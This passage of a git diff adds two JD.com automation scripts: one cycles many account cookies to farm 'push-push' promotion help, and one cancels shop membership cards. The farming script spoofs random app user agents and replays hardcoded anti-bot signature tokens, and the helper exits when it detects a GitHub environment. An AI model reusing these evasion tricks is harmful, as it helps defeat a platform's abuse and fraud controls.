0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_tyt_ks.js b/jd_tyt_ks.js new file mode 100644 index 0000000..384c49d --- /dev/null +++ b/jd_tyt_ks.js @@ -0,0 +1,556 @@ +/* +分享到QQ查看邀请码 packetId就是 +#自定义变量 +export tytpacketId="" + [task_local] +#推一推助力码 +0 0 * * * jd_tyt.js, tag=推一推, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +注意:助力码每天会变,旧的不可用。 +助力逻辑:优先助力互助码变量 +入口-极速版-推推赚大钱 5元无门槛卷 大概需要50人助力 +*/ +const $ = new Env('推推赚大钱-快速'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const ua = `jdltapp;iPhone;3.1.0;${Math.ceil(Math.random()*4+10)}.${Math.ceil(Math.random()*4)};${randomString(40)}` +var status = 0 + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = '', + message; +let tytpacketId = ''; +if (process.env.tytpacketId) { + tytpacketId = process.env.tytpacketId; +} +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + // if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async() => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + return; + } + console.log("推一推开始") + for (let i = cookiesArr.length - 1; i > 0; i--) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + if (status == 1) { + break + } + await tythelp() + await $.wait(15000) + } + } + console.log("推一推结束") +})() +.catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function tythelp() { + return new Promise(async(resolve) => { + let options = { + url: `https://api.m.jd.com/?t=1623066557140`, + + body: `functionId=helpCoinDozer&appid=station-soa-h5&client=H5&clientVersion=1.0.0&t=1623120183787&body={"actId":"3075b6eab065464dad1c4042d345ac97","channel":"coin_dozer","antiToken":"","referer":"-1","frontendInitStatus":"s","packetId":"${tytpacketId}","helperStatus":"0"}&_ste=1&_stk=appid,body,client,clientVersion,functionId,t&h5st=20210608104303790;8489907903583162;10005;tk01w89681aa9a8nZDdIanIyWnVuWFLK4gnqY+05WKcPY3NWU2dcfa73B7PBM7ufJEN0U+4MyHW5N2mT/RNMq72ycJxH;7e6b956f1a8a71b269a0038bbb4abd24bcfb834a88910818cf1bdfc55b7b96e5`, + headers: { + "Origin": "https://pushgold.jd.com", + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "User-Agent": ua, + "Cookie": cookie, + } + } + + $.post(options, async(err, resp, data) => { + try { + data = JSON.parse(data); + + if (data.code == 0) { + console.log("帮砍:" + data.data.amount) + + } else if (data.msg.indexOf("完成") != -1) { + console.log("已完成砍价") + status = 1 + } else { + if (data.msg !== "need verify"){ + console.log(data.msg) + } + console.log(data.msg) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function randomString(e) { + e = e || 32; + let t = "abcdefhijkmnprstwxyz2345678", + a = t.length, + n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +async function taskPostUrl(functionId, body) { + return { + url: `${JD_API_HOST}`, + body: `functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&appid=content_ecology&uuid=6898c30638c55142969304c8e2167997fa59eb54&t=1622588448365`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + + +async function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + return; + } + if (data["retcode"] === 0) { + $.nickName = (data["base"] && data["base"].nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore + +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } : t; + let s = this.get; + return "POST" === e && (s = this.post), new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; + const [o, h] = i.split("@"), n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) return {}; { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; + if (r) try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) + } + } else s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) + }); + else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } : this.isSurge() ? { + url: t + } : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + // let t = ["", "==============📣系统通知📣=============="]; + // t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + log(...t) { + // t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} \ No newline at end of file diff --git a/jd_unbind.js b/jd_unbind.js new file mode 100644 index 0000000..eb9cf89 --- /dev/null +++ b/jd_unbind.js @@ -0,0 +1,284 @@ +/* +注销京东会员卡 +是注销京东已开的店铺会员,不是京东plus会员 +查看已开店铺会员入口:我的=>我的钱包=>卡包 + */ +const $ = new Env('注销京东会员卡'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const jdNotify = $.getdata('jdUnbindCardNotify');//是否关闭通知,false打开通知推送,true关闭通知推送 +let cardPageSize = 20;// 运行一次取消多少个会员卡。数字0表示不注销任何会员卡 +let stopCards = `京东PLUS会员`;//遇到此会员卡跳过注销,多个使用&分开 +const JD_API_HOST = 'https://api.m.jd.com/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】注销京东会员卡失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + await requireConfig() + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.unsubscribeCount = 0 + $.cardList = [] + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdUnbind(); + await showMsg(); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdUnbind() { + await getCards() + await unsubscribeCards() +} +async function unsubscribeCards() { + let count = 0 + $.pushcardList=[] + for (let item of $.cardList) { + if (count === cardPageSize * 1){ + console.log(`已达到设定数量:${cardPageSize * 1}`) + break + } + if (stopCards && (item.brandName && stopCards.includes(item.brandName))) { + console.log(`匹配到了您设定的会员卡【${item.brandName}】不再进行取消关注会员卡`) + continue; + } + console.log(`去注销会员卡【${item.brandName}】`) + let res = await unsubscribeCard(item.brandId); + $.pushcardList.push(`去注销会员卡【${item.brandName}】`) + $.pushcardList.push(`https://shopmember.m.jd.com/member/memberCloseAccount?venderId=${item.brandId}`) + // if (res['success']) { + // if (res['busiCode'] === '200') { + // count++; + // $.unsubscribeCount ++ + // } + // } + // await $.wait(1000) + } + + let push_len = $.pushcardList.length + let push_lena = parseInt(push_len/20) + let push_lenb = push_len%20 + + if (push_lena == 0) { + let tg_text = '' + for (a = 0; a < push_len; a++){ + tg_text = tg_text + $.pushcardList[a] + '\n' + } + await notify.sendNotify(`京东会员卡注消链接`, `【京东账号${$.index}】${$.UserName}\n${tg_text}`); + } else { + let step = 0 + for (step = 0; step < push_lena; step++){ + let tg_text = '' + for (a = 0; a < 20; a++){ + tg_text = tg_text + $.pushcardList[a+step*20] + '\n' + } + await notify.sendNotify(`京东会员卡注消链接`, `【京东账号${$.index}】${$.UserName}\n${tg_text}`); + } + + let tg_text = '' + for (b = 0; b < push_lenb; b++){ + tg_text = tg_text + $.pushcardList[b+step*20] + '\n' + } + await notify.sendNotify(`京东会员卡注消链接`, `【京东账号${$.index}】${$.UserName}\n${tg_text}`); + } + +} +function showMsg() { + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【已注销会员卡】${$.unsubscribeCount}个\n【还剩会员卡】${$.cardsTotalNum-$.unsubscribeCount}个\n`); + } else { + $.log(`\n【京东账号${$.index}】${$.nickName}\n【已注销会员卡】${$.unsubscribeCount}个\n【还剩会员卡】${$.cardsTotalNum-$.unsubscribeCount}个\n`); + } +} +function getCards() { + return new Promise((resolve) => { + const option = { + url: `${JD_API_HOST}client.action?functionId=getWalletReceivedCardList_New`, + body: 'body=%7B%22v%22%3A%224.3%22%2C%22version%22%3A1580659200%7D&build=167668&client=apple&clientVersion=9.5.4&openudid=c5eb641f1e40b339e2e111619f22ef1e5fdc7834&rfs=0000&scope=01&sign=c18a161ddaf21f44e9cd56a8db29362e&st=1621407560442&sv=101', + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.cardsTotalNum = data.result.cardList ? data.result.cardList.length : 0; + $.cardList = data.result.cardList || [] + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + console.log($.cardList) + }); + }) +} +function unsubscribeCard(vendorId) { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}unBindCard?appid=jd_shop_member&functionId=unBindCard&body=%7B%22venderId%22:%22${vendorId}%22%7D&clientVersion=1.0.0&client=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + 'origin': 'https://shopmember.m.jd.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': `https://shopmember.m.jd.com/member/memberCloseAccount?venderId=${vendorId}`, + 'Cookie': cookie, + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br" + }, + } + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + console.log(`https://shopmember.m.jd.com/member/memberCloseAccount?venderId=${vendorId}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function requireConfig() { + return new Promise(resolve => { + $.UN_BIND_NUM = $.isNode() ? (process.env.UN_BIND_CARD_NUM ? process.env.UN_BIND_CARD_NUM : cardPageSize) : ($.getdata('UN_BIND_CARD_NUM') ? $.getdata('UN_BIND_CARD_NUM') : cardPageSize); + $.UN_BIND_STOP_CARD = $.isNode() ? (process.env.UN_BIND_STOP_CARD ? process.env.UN_BIND_STOP_CARD : stopCards) : ($.getdata('UN_BIND_STOP_CARD') ? $.getdata('UN_BIND_STOP_CARD') : stopCards); + if ($.UN_BIND_STOP_CARD) { + if ($.UN_BIND_STOP_CARD.indexOf('&') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('&'); + } else if ($.UN_BIND_STOP_CARD.indexOf('@') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('@'); + } else if ($.UN_BIND_STOP_CARD.indexOf('\n') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('\n'); + } else if ($.UN_BIND_STOP_CARD.indexOf('\\n') > -1) { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('\\n'); + } else { + $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split(); + } + } + cardPageSize = $.UN_BIND_NUM; + stopCards = $.UN_BIND_STOP_CARD; + resolve() + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let 